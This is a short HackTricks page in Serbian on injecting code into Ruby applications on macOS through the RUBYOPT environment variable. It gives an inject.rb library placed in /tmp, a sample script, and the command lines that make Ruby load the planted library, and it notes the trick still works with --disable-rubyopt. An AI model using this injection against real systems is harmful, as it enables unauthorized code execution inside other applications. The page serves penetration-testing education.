macOS Ruby Applications Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RUBYOPT

Korišćenjem ove env promenljive moguće je dodati nove parametre u ruby svaki put kada se izvrši. Iako parametar -e ne može biti korišćen za specificiranje ruby koda za izvršavanje, moguće je koristiti parametre -I i -r da se doda nova fascikla u putanju za učitavanje biblioteka i zatim specificirati biblioteku za učitavanje.

Kreirajte biblioteku inject.rb u /tmp:

inject.rb
puts `whoami`

Kreirajte bilo gde Ruby skriptu kao:

hello.rb
puts 'Hello, World!'

Zatim napravite proizvoljan ruby skript koji ga učitava sa:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fun fact, to radi čak i sa param --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Last updated